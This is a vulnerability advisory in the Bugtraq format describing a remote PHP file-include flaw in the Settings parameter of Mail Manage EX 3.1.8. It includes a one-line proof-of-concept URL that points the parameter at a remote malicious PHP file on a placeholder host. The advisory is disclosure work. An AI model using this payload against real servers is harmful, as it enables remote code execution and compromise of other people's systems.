Mail Manage EX MMEX Script Settings Parameter Remote PHP File Include Vulnerability

Bugtraq ID:	10457
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 03 2004 12:00AM
Updated:	Jun 03 2004 12:00AM
Credit:	This issue was discovered by Jan van de Rijt aka The Warlock <[email protected]>.
Vulnerable:	Mail Manage EX Mail Manage EX 3.1.8
Not Vulnerable:

Mail Manage EX MMEX Script Settings Parameter Remote PHP File Include Vulnerability

Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP files located on remote servers.

This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well.

Mail Manage EX MMEX Script Settings Parameter Remote PHP File Include Vulnerability

No exploit is required.

The following proof of concept is available:

http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php

Mail Manage EX MMEX Script Settings Parameter Remote PHP File Include Vulnerability

References:

• Mail Manage EX Homepage (Mail Manage EX)
  
• PHP Include Exploit in Mail Manage EX v3.1.8 and maybe others. ("JvdR" )